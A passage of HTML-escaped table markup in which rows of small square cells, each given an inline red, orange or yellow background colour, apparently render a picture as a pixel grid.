&lt;td style=&quot;background-color: #c5320c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfb28; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d79a17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c50801; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d31203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d50a0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d10c00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d80502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d70203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c80004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c80002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c80002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #de5a07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de5a07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd5a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc5905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de5b0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d55600; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d94001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7b61b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4ec1e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf620a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d14505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9c012; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5e61b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf4d0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8b31e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbf216; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9be19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffe12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d49410; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d04e0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc820b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbf91d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d16d0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7ec29; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d08911; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbed1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1b115; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc1e00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edb720; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6d323; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da3015; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c42f01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f820; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7a413; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edc918; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8fa1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce020b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c71502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df0908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e90a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e80706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d70005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd0005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c40004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c40004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #db5706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d95806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d65904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d25304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9ae19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ecc91b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dbb01d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebc22d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d17704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da490c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2570c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2e11c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f1e721; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d28a16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dea720; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9ee13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5cd24; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2bf17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f217; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2c91e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb781a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8b418; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feff19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #deab1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3b327; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de8c12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df4c0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d37b1e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffff18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4c115; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dca42c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #daa11f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c02f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec3a13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c93e0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4ba14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebdb2b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f1eb14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebd016; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd1106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce0c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d30c00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd0800; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e70f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ee120c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e20404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d50405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c40202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #d45506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d45506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d45506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d55406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1600d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db7511; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d47409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd4705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db5008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7520b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e47911; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da690f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7510d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c64d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d8660b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d55611; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d95202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd761e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de5c0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f1f41e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d99d10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd5910; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d34b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e34a13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba3307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3bb18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edd217; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c55418; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4408; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c71d00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c92209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c3250a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e73611; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb100e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4f08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #faf528; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce670d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c80e01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd0802; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d50707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d90004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d60000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #cf5407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d15407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d35307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d55107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d25105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d54804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d14806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca5305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da5405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e95307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e55e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3700d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e55604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e24e05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d6480c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd4204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1911a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #efbe21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8c91f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e79b1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c02f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c42503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e57d10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2a522; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de9b1e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dfb723; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c91f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d02505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c72b0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c82504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c4260a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dea028; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3a31e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4ad25; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d57213; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd0e01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c41204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c30b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c40405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c30007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2160b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5717; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c43b17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b70104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #d05206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d05206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf5004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf5104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf5205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf5004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d24e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db5407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ef5705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f38403; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8d821; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ef8d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ee5307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e04c06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4902; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd6012; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d67409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de9616; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e79c2d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3af1e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #daa229; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9b82c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dbc220; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c6630c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
